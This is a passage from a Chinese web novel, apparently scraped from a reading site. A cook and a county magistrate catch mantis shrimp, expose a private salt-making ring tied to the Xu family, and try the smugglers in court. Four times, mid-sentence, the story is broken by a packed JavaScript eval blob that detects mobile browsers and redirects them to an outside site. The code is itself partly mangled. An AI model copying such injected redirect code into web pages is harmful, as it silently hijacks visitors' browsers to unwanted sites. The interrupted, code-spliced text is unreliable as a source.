“呵呵,好吧,小狸奴,继续去捉你的虾吧。”裴昱臣脸上的笑容带着无尽的温柔与缱绻。 看着男子宠溺的眼神,云楚沅打了个激灵,这还真像铲屎官与他的小猫咪,可是不对呀,向来都是她投喂小书生,论起两人的关系,那也应该他是她的宠物! “哼,你才是小狸奴!每日嗷嗷待哺,等着我做膳食。”云楚沅翻了个白眼,她故意刁难道:“县令大人想养猫,怎么着也得由你来为她捉虾吧。” 裴昱臣瞧着云楚沅昂首挺胸、尾巴都要翘到天上的样子,就知道她又想看他的笑话了,上次让他做面食,这次又要他捉虾,这促狭鬼还真能折腾人。 不过,裴昱臣对渔民们的生活的确很感兴趣,亲自体验一番,也不失为一件妙事。 “那就有劳云姑娘教一教我了。” 云楚沅四处张望,在滩涂的泥沙中寻找着皮皮虾栖息的洞穴,它们往往会藏在泥里。 “瞧仔细了,皮皮虾的洞口是圆的,用手指探进去能明显感受到里面空空的,有通道。”云楚沅教着裴昱臣如何分辨虾爬子所在的位置。 “小生受教了。”裴昱臣立马接话。 “看清楚我是怎么抓它的!” 白皙的脚掌在小圆洞处猛踩两脚,水变得浑浊,小洞另一头“突突”冒出一股混着泥沙的水柱,皮皮虾如同离弦之箭从中窜出,妄图逃之夭夭,云楚沅眼疾手快地伸手一捞,一只皮皮虾便落在了她的掌心。 “怎么样,学会了吗?”云楚沅得意地轻抬下巴,将手里肥硕的虾爬子凑到裴昱臣的眼前。 如此近的距离之下,不停乱动的皮皮虾,甩了几滴水到裴昱臣的脸上,他面不改色地擦了把脸,淡定道:“小生明白了。” 云楚沅将虾爬子扔回桶中,又找了个洞口,“学会了,你来试试。” 裴昱臣不自在地动了动脚趾,他有些拉不下脸来用脚去踩污泥,这有辱斯文。 云楚沅哼笑一声,清高的读书人就是好面子,他们村子里的渔民们为了搞好养殖,定期要清理鱼塘、虾塘、蟹塘,日日和排泄物打交道,也没见有人抱怨过一句。 “裴大人这是嫌弃我们渔民的活计脏吗?你们文人都说过‘出淤泥而不染’,裴大人怕什么?” 裴昱臣心中一定,是了,云姑娘说的没错,读书人怎能傲世轻物? 紧接着,他抬起脚朝着洞口踩下去,结果因为用力过猛,一下子踩得太深,陷进去了,洞穴里受惊了的虾爬子猛地向外爬去,顺便扎了一下害它慌忙逃窜的罪魁祸首。 “嘶!”裴昱臣倒吸一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950584|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷气,从泥中拔出来的脚背上多了一个小红点。 “哈哈哈哈哈,裴大哥,你也太笨了吧。”云楚沅捂着肚子笑得花枝乱颤。 “抬起脚来。”笑够了的云楚沅提起一只干净的小桶,舀了些海水,准备为他冲洗脚上的污泥,省得伤口被细菌感染了。 云楚沅蹲下身子时,裴昱臣身体紧绷,当她纤细的手指碰上他的脚脖子时,裴昱臣大惊失色,他慌忙后退两步,磕磕巴巴道:“云……云姑娘,为郎君洗脚这样的亲密事,成婚之后才能做。” “云云姑娘晓得了。”云楚沅故意模仿他的口吃,臊得县令大人涨红了脸。 云楚沅直起身子,将桶递给裴昱臣,差点忘了,这可是有了肌肤之亲就得负责的古代。 这么一想,她调戏过小书生好多次,他该不会以后要找她负责吧! “方才只是一时情急,你可不要误会。我婚后也不会为我夫君洗脚的,我可是家里的顶梁柱,当然要男人来伺候我,我夫君给我打水洗脚还差不多。”云楚沅摆出一副大女子主义的模样,想叫小书生知难而退。 裴昱臣没听出云楚沅话中暗示的意思,只以为这是她的真实想法,他点头附和:“云姑娘值得男子如此对待。” 云楚沅用怀疑的目光上下打量着裴昱臣,想不到小书生能屈能伸,伺候女子他也愿意!想必还是自己的魅力太大了,诱得小书生甘愿伏小做低! “哼,本姑娘这么优秀,抢手的很,某人还是乖乖排队吧!”云楚沅傲娇地丢下这句话,提着装满虾爬子的木桶走远了。 —— 回到云家,云楚沅将皮皮虾倒入盛满水的木盆中刷洗干净,午膳要做一道椒盐皮皮虾。 将皮皮虾的尖刺和触须剪去,再从皮皮虾的背部第二节处挑出黑色的虾线。 锅中的油烧热后,云楚沅将处理好的皮皮虾倒进去,皮皮虾在热油中翻滚,她立刻后退两步,避免被贱起的油滴烫到。 皮皮虾的外壳炸至通红,将其捞出,控干油分。 锅中留少许底油,放入葱姜蒜、茱萸和花椒爆香,炸好的皮皮虾重新放入锅中,再撒入磨好的椒盐粉翻炒,让每只皮皮虾都裹上一层椒盐。 “今日这道菜可是由你们亲手寻来的食材,享用起来必然很有成就感。”云楚沅对小弟和小妹说道,又转头看向旁边的裴昱臣,“当然,也有裴大哥的功劳。” 裴昱臣不好意思地避开了她的视线,他捉来的虾爬还没有两个孩子多。 “阿姐,快开饭吧!”云楚河催促道,手上的筷子不停夹动着空气。 “开饭!” 随着云楚沅一声令下,云楚河和云楚清麻溜地夹起一只皮皮虾,塞进嘴里。 “太好吃了,我阿姐就是神仙!”云楚河吃着美食,还不忘吹嘘厨子。 “阿姐以后我赚的银子都给你,我想永远和你在一起。”云楚清的小嘴也像抹了蜜似的。 “咔嚓”一声咬开酥脆的外壳,便能尝到鲜嫩多汁的虾肉,口感软嫩,紧实而有弹性,这道椒盐皮皮虾既有海水淡淡的咸味,又带着一股椒盐的独特风味。 39. 边海村 裴昱臣被他们一家三口的欢乐氛围感染了,眉眼间带上了笑意,他学着他们的样子直接上手剥虾,将剥好的好几只虾一起往嘴里塞,大口大口地咽下。 感受到嘴里满满当当的虾肉,裴昱臣一边咀嚼,一边心想,这样的吃法确实很爽。 吃得腮帮子鼓鼓的云楚沅笑眯眯地看向裴昱臣,在她潜移默化的影响下,小书生身上的酸腐气减轻了不少,她越看越顺眼了。 午膳过后,云楚河和云楚清跑出去玩了,他们好些时日没回来了,都想去瞧瞧鱼塘里养殖的海鲜,云楚河还要找他师傅说说话,顺便帮着做些活。 院子里安静下来,裴昱臣犹豫一会儿,还是决定将他跟来的目的说了出来。 “你是说,你想去边海村查案子?”云楚沅面露惊奇。 “正是,县城里突然出现了一批来路不明的盐,我得调查清楚是怎么一回事。” 云楚沅了然:“原是这件事啊,我也略有耳闻,听说是西街的一家小作坊在偷偷售卖。” 裴昱臣将打听到的情况向她透露了几分:“小作坊是徐家的。” 云楚沅柳眉一挑,撇嘴说道:“又是徐家。” “贩卖私盐可不是小事,若能抓他们个现行,定能给徐家人定罪。” “裴大人,你有计划了吗?”云楚沅从裴昱臣面不改色的脸上什么都没看出来,索性直接开口询问。 “此事不宜打草惊蛇,县衙附近肯定有人盯梢,我此番独自一人跟你回来,不会引人瞩目,县城里许多商户都知晓我在小渔村和你一起搞养殖,他们只会以为我是来视察的。” 云楚沅轻轻颔首,裴昱臣是和她同乘一辆马车回来的,还陪她一起玩闹、捉虾,怎么看也不像是来办公事的,就算边海村距离小渔村不远,探查裴县令行踪的人也不会发现端倪。 事实也确实如此,悄悄跟踪裴昱臣的徐家护卫回到徐家,将自己在小渔村的所见所闻禀告徐少爷后,他丝毫没有起疑。 徐少爷早就断定裴昱臣和云楚沅两人暗通款曲、私相授受,他们两人甚至都住在一块了,肯定是有不可告人的关系! 在徐大少爷看来,裴县令自诩清高,还不是个好色的凡夫俗子,他面上打着为民除害的名号针对他们这群商贾,不过是为他的相好出气罢了。 因此,裴昱臣随着云楚沅一起回村,并在大庭广众之下卿卿我我、如胶似漆,是再正常不过的事了。 云楚沅还不知道她和裴昱臣在海边的互动,被不少人给瞧了去,村民们心照不宣,笃定他们二人好事将近。 这个误会也算是让对方降低了警惕,所以裴昱臣和云楚沅借着在海边闲步的名义,悄悄前往边海村一事,并未被人察觉。 “裴大哥,前面就是边海村了,你要怎么搜寻窝藏私盐的地方呢?” 此时的云楚沅和裴昱臣已经乔装打扮了一番,身上穿着粗布麻衣,脸上用眉黛和粉脂化了个老年妆,头发上扑了层面粉,驼着背步履蹒跚,看起来接近花甲之年。 任谁也瞧不出这两位是面如冠玉的县令大人和风姿绰约的食肆老板娘。 “我只收到消息徐家少爷来过边海村,却不知他是来找谁的。”裴昱臣暂且没有头绪,他调查过边海村所有村民,无一人和徐家有牵连,如此,线索便断了。 云楚沅摩挲着下巴,用另一只手轻拍裴昱臣的胳膊,小声说道:“裴大哥,我有法子了,待会你少说话,只管点头配合我就成。” 裴昱臣瞧她胸有成竹的模样,决定信她一回,这丫头鬼点子多的是,也许真能另辟蹊径。 云楚沅挎着裴昱臣的胳膊,往人烟稠密的地方走去。 上次她跟着钟兰花路过边海村是沿着海岸走的,除了那对礁石后的野鸳鸯,一个人都没遇到,所以她也没发现边海村有什么异常。 而这回要调查边海村,遮遮掩掩的更会惹人怀疑,倒不如反其道而行之,光明正大地行事。 “站住,你们是何人!” 他们刚靠近村子,就被人喝止了,那名汉子眼神警惕,一看就是做贼心虚,云楚沅和裴昱臣对视一眼,一致认为此人便是突破口。 “你知道我是谁吗?就敢对我大呼小叫!”云楚沅双手叉腰,眼高于顶,此刻,她戏精附体,模仿着村里的泼妇骂人的样子,先给对方来了个下马威。 汉子面露迟疑,遇上比他还蛮横的女人,他有些不确定自己是不是眼神不好,没认出他们是谁。 云楚沅气焰嚣张地说道:“你们靠我那远方侄孙发了横财,不感恩戴德就罢了,还敢对姑奶奶我大不敬!” 那汉子听着她的呵斥,下意识打了个哆嗦,从她话里透露出来的意思,这个女人是他们老大的远亲啊。 想明白后,他小心翼翼地点头哈腰:“姑奶奶,失礼失礼,我是丰哥手下的黑子,他也没跟我们提过有远亲要来,您稍等,我这就去把丰哥喊来。” 把人喊来可不就露馅了吗!云楚沅赶紧叫住转身刚要离开的汉子:“黑子,你先过来,我向你打听一件事。” 黑子听话地凑过来,问道:“姑奶奶,您有何事?” 为了拖住黑子,也为了能从他口中套话,云楚沅只能绞尽脑汁地想话题。 她眼珠子一转,悄声说道:“我听说丰子赚了不少银子,我想让我孙女来伺候他,你说这事能办妥吗?” 她对黑子口中的丰哥一无所知,也不知他有没有娶妻生子,只能旁敲侧击,用这种话术来试探,既把她来此的目的表现出来,又能不动声色地探听消息。 黑子露出一个原来如此的眼神,他对云楚沅的身份信了个十成十,自从丰哥发达之后,不少穷亲戚都想要攀上来,眼前这位倒是狠得下心,竟然让亲孙女来做小。 “姑奶奶,丰哥虽然没成亲,可他身边有女人,丰哥可稀罕着呢,只等那女人点头,他就迎娶她过门。” 云楚沅佯怒道:“是谁?哪来的贱女人,敢坏我的好事!” 提起丰哥的女人,黑子也是一肚子气,明眼人都能看出来,那女子是个奸猾的,就是看中了他的银子,可他们丰哥就像是被猪油蒙了心,处处维护那个女人。 “说起来就晦气,那女人是被县城里的徐家赶出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950585|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小妾,我们丰哥一听到她要被发卖的消息,就立马把她救回来了,如今被丰哥好吃好喝地养在家里。” 徐家小妾?云楚沅心中一动,有些事情串联到了一起,何艳艳弄没了通房肚子里的孩子被发卖,前几日她路过边海村,听到了偷情的女子名叫艳艳。 这个丰哥就是她表姐何艳艳的骈头啊! 云楚沅朝裴昱臣使了个眼色,他点点头,悄悄绕到唾沫横飞的黑子身后,一个手刀将他敲晕。 “没想到啊,何艳艳这般走运,离了徐府,还能享福。”云楚沅感慨道。 她这个表姐还真有手段,找了个对她言听计从的痴情种,而后还能让骈头和前夫合伙做生意,这可真是天下奇闻。 裴昱臣眼神赞赏,饶有兴味地瞧着云楚沅,“想不到你还真有法子。” 洋洋得意的云楚沅侃侃而谈:“以流入到市场中的盐量来看,制盐的肯定不会只有两三个人,我们一进边海村就能遇上一个知情人,很有可能制盐一事他们全村人都脱不开关系。毕竟想要掩人耳目与徐家少爷达成交易,必然瞒不过朝夕相处的村民,既如此,倒不如让他们全都掺和进来,分担风险。” 裴昱臣点头,她分析得头头是道、句句在理。 能赚银子的事谁会不心动呢?村民们早就对好了口供,倘若日后被发现了,就将事情推到丰子和徐家少爷身上,狡辩自己是被逼迫的。 裴昱臣有些头疼,他大概也能猜到这群刁民在想什么,法不责众。 边海村这么多人互相包庇,难道他这个县令还能把他们全村人都抓了不成?即便他把他们全给抓起来,县衙的大牢也装不下他们。 “如何定罪待我回去后再好好想想,我们先找找制盐的地方在哪吧。” 两人避开人,围着边海村走了一圈,他们在村尾发现了一处独立的小院。 裴昱臣翻上墙头往里看去,院中有几个村民来回走动,一口口大锅正煮着海水,热气腾腾,散发出刺鼻的气味,墙角堆满了一袋袋粗盐和各种制盐工具。 显然,此处便是制造私盐的窝点。 “黑子怎么还没回来呀,我还等着和他轮换呢。” “懒驴上磨屎尿多,一到干活他就躲懒,也不知道丰哥看中他什么,让那小子和我们一起看院子。” “切,人家会溜须拍马呗。” “哼,这次徐少爷可是下了个大单,丰哥千叮咛万嘱咐,咱们得赶紧把这批货弄好,要不然都得吃不了兜着走!” “急什么,丰哥不是从外面偷学了一个晒盐的法子吗?听说村里人已经把盐田建好了,前些时日就把海水放进去了,到时候盐晒成了,咱们就不用费劲煮海水了。” “听说这晒盐的法子厉害得很,即省了力气,还能制出更多的盐。” “那咱们岂不是又能大捞一笔了?” “谁说不是呢,哈哈哈!” 裴昱臣悄无声息地回到云楚沅的身边,将听到的对话悉数告知了云楚沅。 “咱们去看看他们说的盐田。”裴昱臣神色严肃,这群刁民还真是贪得无厌。 40. 人赃并获 距离海边百丈开外的地带,云楚沅和裴昱臣发现了一片平坦开阔的盐田。 煮海为盐的方法效率太低,有人便想出了海水晒盐的法子,原理就是利用太阳光照射和海风,让盐田里的海水蒸发,盐的浓度渐渐提高,最后盐便会从海水中结晶出来。 宽平的海滩上修筑盐池,用堆沙围起来,建成一个个方形小池,在涨潮时纳潮,将海水引进来,然后让海水在太阳和海风的作用下,使海水蒸发、盐分结晶。 裴昱臣蹲下身子,用手指摸了一下滩涂表面,上头附着薄薄一层白色结晶。 “这个晒盐法当真精妙,毫不费力就能获得粗盐,还能大规模生产。”他待在偏远的临海县,对外头的变化知之甚少,想不到日新月异,如今已经有了新的制盐法。 云楚沅心下惊讶,工艺革新让她有一种身处时代洪流中的微妙感,也许她小小的一个举动,便能改变未来。 从现代穿越过来的身份,并没有让云楚沅产生一丝一毫的优越感,她所拥有的知识和阅历,只不过是站在巨人肩膀上看得更远罢了。 这个全新的时代不需要她的推波助澜,她也没有改变世界的能力和决心,做个旁观者便好。 想明白的云楚沅心中稍定,她没有其他穿越者的勃勃野心,只能在力所能及的范围内改善一下身边人的生活。 “大人,接下来你准备怎么办?”找到藏盐的窝点后,剩下的事和云楚沅的关系就不大了。 裴昱臣搓了搓手中的盐粒,冷静道:“得想个法子把徐家人引过来,抓个人赃并获。” “你有什么想法?”云楚沅好奇地问道。 如今的徐家人缩在龟壳中,制盐一事全由边海村的丰子代劳,就算裴昱臣把这里查封了,也只能定丰子一个人的罪名。 至于西街的作坊更好处理了,有银子好办事,封口的办法多的是,徐家完全可以颠倒黑白,状告管事欺瞒主家,到时候事情只会更加棘手。 海风轻拂而过,裴昱臣的衣角被吹得飞舞起来,他身姿挺拔,面容沉静,波澜不惊,仿佛一座遗世独立的雕像,清冷的声音传至云楚沅的耳边。 “徐老爷没攀上江南首富宋家,后来却和杜家牵上了线,先前我一直没想明白是为何,如今想来,利益驱使他们走到了一起。” 裴昱臣直起身子,一把将手里的盐扬到海里,冷静说道:“没有盐,徐家该如何向杜家交代呢?” 云楚沅不了解他口中的杜家是何许人物,但也能猜到肯定是非富即贵的人家,裴大人把人家赚银子的东西给扬了,还不得把徐家人气得七窍生烟啊! “断人财路犹如杀人父母,裴大人,这下你可要被记恨死了。”云楚沅抬起胳膊,轻轻顶了一下裴昱臣的腰侧,却不想碰到了他的敏感处。 裴昱臣被她顶得脚下踉跄,差点没站稳,被触碰的腰际有种电流穿过的酥麻感,他浑身一颤,慌乱地低下头说道:“楚沅,我先送你回村吧,余下的事我通知梁捕头去办。” “哟,原来裴县令也有弱点呀,被我抓住了吧!”云楚沅笑得蔫儿坏,她的胆子愈发大了起来,双手齐上,在小书生的身上点来点去。 细白的手指在裴昱臣的腰间和后背挠动,痒意传遍全身,他扭动着身体,想要躲避她的戏弄。 裴昱臣伸手去捉女子的手腕,想要阻止她的恶行,云楚沅却像是一只调皮的猫儿,身形灵活,巧妙地避开了他的抓捕,她的眼眸亮晶晶的,嬉笑着说:“略略略,你抓不到我!” 欢快的笑声荡漾在海边,裴昱臣耳朵微动,依稀听到远方传来脚步声,他一把捂住云楚沅的嘴,将她拉到礁石后躲了起来。 “呜呜呜!” 云楚沅不明所以地在裴昱臣怀中挣扎,这块礁石体积不大,只能掩藏住一个人,所以他们两人前胸贴后背地交叠在一起,两具身体贴得很近。 “嘘!” 裴昱臣凑近云楚沅的耳边,轻声说道:“有人来了。” 感受到对方喷在她耳边的热气,云楚沅的脸颊瞬间泛起红晕。 啊啊啊!尽管她平时大大咧咧的,时不时就逗弄小书生,可她还从未与男子靠得这般近!这是在考验她的毅力呀。 小书生的胸膛宽阔而又温暖,隔着轻薄的衣衫,云楚沅能清晰地感受到男人的心跳声沉稳而有力,她不再抗拒,顺势轻轻倚靠在裴昱臣的怀中。 身前女子的发丝不经意间拂过脸庞,带来一股淡淡的清香,裴昱臣后知后觉两人的姿势有些不妥,可马上就要有人过来了,他们两个不能被人发现,只能继续躲在这里。 云楚沅偷偷摸摸地抬起头来,冷不丁对上了男人含羞的眼眸以及轻颤的睫毛,两人的心湖泛起阵阵涟漪,呼吸交织在一起,紧贴的身体传递着彼此的体温,下一瞬,他们又不约而同地避开了对方的视线。 “丰哥,黑子那小子又跑出去躲懒了,有什么事你吩咐我就成!” 远处的说话声打破了两人之间暧昧的气氛,云楚沅和裴昱臣闻声望去,两个汉子向盐田走来。 前面的那个汉子长得不高、皮肤黝黑,但他行动敏捷,走起路来虎虎生风,这人应当就是私盐贩子的头目——丰子。 “我不是说了吗,盐田附近必须有人巡逻,你怎么不听?”丰子拉着脸说道。 男人表情一僵,讪笑道:“丰哥,巡逻这事是黑子安排的,我不记得该轮到谁了,他没回来,我们还以为是他在巡逻呢。” 丰子瞪了他一眼,呵斥道:“再有下次,你们全给我卷铺盖走人!” “是!是!”男人赶忙赔笑。 丰子目光锐利地扫视一圈,黑子没回来这事让他心里有些不安,不是他生性多疑,而是在外面摸爬打滚的经历告诉他,小心驶得万年船。 他没在盐田发现异常,便往礁石的方向走去,躲在后面的云楚沅心中一凛,暗自祈祷着那人不要过来,否则他们被发现了,裴昱臣的计划就要泡汤了。 裴昱臣右手握成拳,已经做好了反击的准备,虽然他能把对方拿下,可后续就无法引蛇出洞,抓住徐家人的把柄了,他心里不免感到可惜。 “丰哥,丰哥,嫂子来小院找你了。” 有人边跑过来,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950586|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高声喊道。 原本眼神犀利的丰子瞬间变了表情,他的脸上露出一个傻乎乎的痴笑,再也顾不上其他,转身往回跑去。 云楚沅和裴昱臣齐齐松了一口气。 “嗤,那个女人一来就是要银子,丰哥还眼巴巴地跑回去找她。” “少说两句吧,丰哥高兴就好。” “哼,我是怕哪天丰哥因为那个女人误了大事,到时候追悔莫及!” “咱们一直都小心行事,能有什么大事。” 两个男人你一句我一句,离开了岸边。 云楚沅啧啧称奇,她那个表姐魅力还挺大,迷得男人晕头转向,这次的事还得谢谢她呢。 “色”字头上一把刀,丰子再怎么小心谨慎,还不是要栽在女人身上。从他和何艳艳纠缠不清的那一刻起,结局早已注定。 —— 裴昱臣回去后,将打晕的黑子关进了大牢,他令梁捕头悄悄将边海村盐田里的盐清理掉,再伪装成黑子偷盐跑路的假象。 这个做法立竿见影,没过两日,收到消息的徐大少爷焦急地赶往边海村,这批货是万万不能出差错的,生意做不成事小,要是失信于杜家人,那事情可就大了。 裴县令身着官服,腰佩长剑,骑着高头大马,他和梁捕头率领着一队衙役,悄无声息地包围了边海村里的一座小院。 裴昱臣翻身下马,靠近院落,侧耳倾听门内人的对话。 “丰子,你是怎么答应我的!我把那个女人送给你,你帮我制盐,如今盐呢?”徐少爷按捺不住怒火,高声质问着男人。 丰子自知理亏,可丢盐一事处处透露着古怪,“大少爷,这件事必有蹊跷,黑子不是那样的人,我不相信他会背叛我,这其中肯定另有隐情。” 徐少爷出声打断了他:“你说隐情就隐情?我看你就是因为何艳艳跟过我,这才起了歹心,想要借机报复我!呸,你也就配用我穿过的破鞋!” 听了这话,丰子的脸色也难看起来,这个嚣张跋扈的大少爷仗着家世欺男霸女,要不是艳艳劝他冰释前嫌,和这人一起赚银子,他怎会忍气吞声? 徐少爷自以为说中了真相,他狠狠掌掴丰子,怒骂道:“敢算计你爷爷我?本少爷要了你的小命!” 丰子摸了摸嘴角溢出的鲜血,怒火中烧,“你个小崽种,今日就看看是你死还是我活!” 眼前双眼通红的男人像是一头被激怒的老虎,铁拳重重袭向徐少爷的面部,“砰”的一声巨响,大少爷被击倒在地。 拳头如雨点般落下,身娇肉贵的徐少爷哪里经历过这番毒打,他连声告饶:“丰子,丰子,我错了,别打了,别打了!” 裴昱臣站在门外听了一会徐少爷的求饶声,这才慢悠悠地发话,令手下进去捉人。 随着县令大人一声令下,梁捕头带领衙役们破门而入,裴昱臣紧随其后步入院中。 他目光如炬,扫视过滚打在一块的两人,走到墙角堆积的麻袋旁,用手捻起一点盐粒,放在鼻尖轻嗅,随后沉声说道:“大胆刁民,目无王法,胆敢私自制盐贩盐,该当何罪!” 41. 知州大人 今日临海县的街道异常热闹,一队衙役,如疾风般迅速朝西街奔去,一时间,街上的百姓们仿若被投入了巨石的湖面,泛起层层波澜。 许多百姓皆是一脸惊愕,停下手中的活计,目光齐刷刷地投向那队气势汹汹的官差所去之处。 百姓们瞪大了眼睛,嘴巴微张,迅速聚拢在一起,交头接耳,你一言我一语地低声议论。 卖菜的阿婆手里捏着一把鲜嫩的青菜,愣愣地看着眼前路过的一队人马,忘记了吆喝叫卖,那张满是皱纹的脸上透露着疑惑与不安,她似乎还未从这突如其来的变故中回过神来。 摆摊修鞋的老汉,原本正专注地敲打着鞋底,此刻手中的工具悬在半空,转动着脑袋,眼神紧紧跟随衙役们的行动,嘴里不自觉地喃喃自语:“这是出了啥子事哟……” “诶,他们好像是去那家买盐的作坊的,莫不是要查封此处?”一个裹着头巾的妇人小声猜测道,身旁的婶子赶忙附和:“极有可能,瞧这阵仗,怕是盐贩子们太过猖獗,触怒了官府。” “我就说为啥他家的盐如此便宜,肯定是来路不明!”隔壁卖茶叶的掌柜义愤填膺。 “哼,这些盐贩子也有今天,平时仗着手里有点私盐,横行霸道,这下好了,被抓了吧!”平日里就看不惯盐贩们暗自获利的小商贩阴阳怪气地说道。 有些爱贪小便宜之人的面色“唰”得一下变白,额头上冒出细密的汗珠,眼神飘忽不定,“我……我先前买过他家的盐,不会被牵连吧。” 小作坊的后院堆满了一袋袋粗盐,几个正在忙碌的小伙计还没来得及反应,就被突然闯入的衙役们当场制服。 其中,有手持秤砣、忙着称量分装的伙计,还有负责记账的账房先生,他们面面相觑,惊恐万分。 众人吓得瑟瑟发抖,纷纷跪地求饶,有些不死心的还试图狡辩,但面对确凿的证据,他们的言辞显得苍白无力。 陈县丞当即下令,将所有涉案人员一并带回衙门,同时安排人手妥善保管查获的私盐,作为呈堂证供。 裴昱臣早前私下里召见了梁捕头和陈县丞,把自己的计划悉数说与两人听,他们兵分两路,一队去边海村缉拿徐少爷和丰子,一队负责查封西街的作坊。 全程没有走漏风声,当然也瞒住了那位心术不正的许主簿,否则事情肯定不会这么顺利。 县衙大堂之上,“明镜高悬”的牌匾之下,气氛庄严肃穆,又带着几分压抑的紧张。 满身狼狈的徐家少爷和丰子被两个衙役押解着,佝偻着身子,被带到堂前。 裴县令高坐于公堂之上,身着一袭黑色官袍,头戴乌纱帽,面容冷峻,目光如炬,仿佛能洞穿人心。 梁捕头和陈县丞一左一右站在裴昱臣的身边,宛如左膀右臂。 县令大人手中拿着惊堂木,重重敲了一下桌案,“啪”的一声脆响,在寂静的大堂中回荡,吓得站在下面的两人浑身一哆嗦。 “堂下之人所犯何事?还不从实招来!”裴县令威严地问道。 丰子扑通一声跪倒在地,磕头如捣蒜,声音颤抖地说道:“小的张丰,只因家中贫寒,无以为生,才一时糊涂走上了贩卖私盐的歪路,还望大人饶命啊!” 县官微微皱眉,眼中闪过一丝严厉,沉声说道:“贩卖私盐严重影响了国库税收,是朝廷明令禁止的。你可知贩卖私盐乃是重罪?朝廷律法森严,岂容尔等肆意妄为? 丰子立马说道:“大人,小的是被徐家少爷徐子恒胁迫的,倘若我不按照他的吩咐行事,他便要杀了我,还请大人明察。” 站在旁边的徐子恒气得满脸通红,他一脚踹上丰子的心窝,怒骂道:“你这狗东西,满嘴喷粪!这不是你和何艳艳找上门来摇尾乞怜的时候了!” “哎哟,哎哟,疼死我了!徐少爷要杀人灭口了,大人救命啊!”丰子顺着徐子恒踹人的力道,就势倒在地上,一边哀嚎,一边翻滚。 裴昱臣心里跟明镜似的,张丰的这点小伎俩他怎么看不出来,不过这徐子恒也太过目中无人了。 “公堂之上,成何体统!” 徐子恒的眼里充满傲慢,他对裴昱臣的呵斥不屑一顾。 他双手抱胸,微微仰头,嘴角勾起一抹嘲讽的弧度,嚣张跋扈道:“哼!我堂堂徐家的少爷,岂是你个小县令能管得了的?姓裴的,我告诉你,要是坏了杜大人的要事,你绝对会吃不了兜着走!” “你去。”裴昱臣朝身旁的梁铺头使了个眼色,示意他给这个大少爷一个教训。 “是,大人!” 梁捕头对徐家人恨之入骨,他三两步走到徐子恒身后,对准他的腿窝用力踹了过去,“见了县令大人,还敢口出狂言?” “啊!”徐子恒的双膝重重摔在地上,眼泪瞬间飙出来。 徐子恒隐约听到“咔嚓”的骨裂声,他捂住自己痛得近乎没有知觉的腿,咒骂道:“狗官,我爹不会放过你的!” “凡贩卖私盐者仗一百,徒三年。”裴昱臣的话掷地有声。 徐子恒的脸色愈发苍白,身体止不住地颤抖:“裴昱臣,你敢!” 裴昱臣冷笑一声,说道:“哦?本官有何不敢?” 梁铺头一把提起徐子恒的衣领,凑到他耳边,阴沉地说道:“大少爷,希望你能撑过我打的一百大板。” 徐子恒瞧着他肌肉虬结的双臂,额头上不停滚落豆大的汗珠,在他沾满尘土的脸上划出一道道湿痕。 “你……你们怎么敢?” 满脸不敢置信的徐子恒被梁捕头拖了下去,不一会儿,后面就传来板子落在皮肉上的声音以及徐少爷凄厉的哀叫声。 “砰!” 板子落下的声音如同闷雷,沉闷而又压抑,带着无尽的威慑力,让旁人光是听着,脊梁骨就不禁泛起阵阵寒意。 “啊啊啊!姓裴的,你给我等着,我要你不得好死!” “砰!砰!砰!” 沉闷的拍打声接二连三的响起,徐少爷的后臀皮开肉绽,一片血肉模糊,火辣辣的疼痛感让他几乎昏厥过去。 徐子恒早已失了先前的嚣张气焰,声音沙哑地求饶:“啊……好疼……饶了我吧,我再也不敢了……” 眼见徐少爷在县令大人手里都讨不了好,丰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950587|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子战战兢兢地开口:“大人,小人全都招……” 接着,他将自己是如何在走南闯北之际学会的制盐法,又是如何在何艳艳的牵线搭桥下与徐子恒同流合污,讲述得一清二楚。 裴昱臣对他的识时务很满意,让人把他带下去时,还承诺会让他在牢房里吃好住好。 “大人,徐老爷在外求见。” 丰子前脚刚被带下去,徐家人后脚就来了,可惜他们来晚一步,张丰和徐子恒皆已在罪证文书上签字画押,承认了自己的罪状。 裴昱臣淡定开口:“把那老匹夫带上来。” 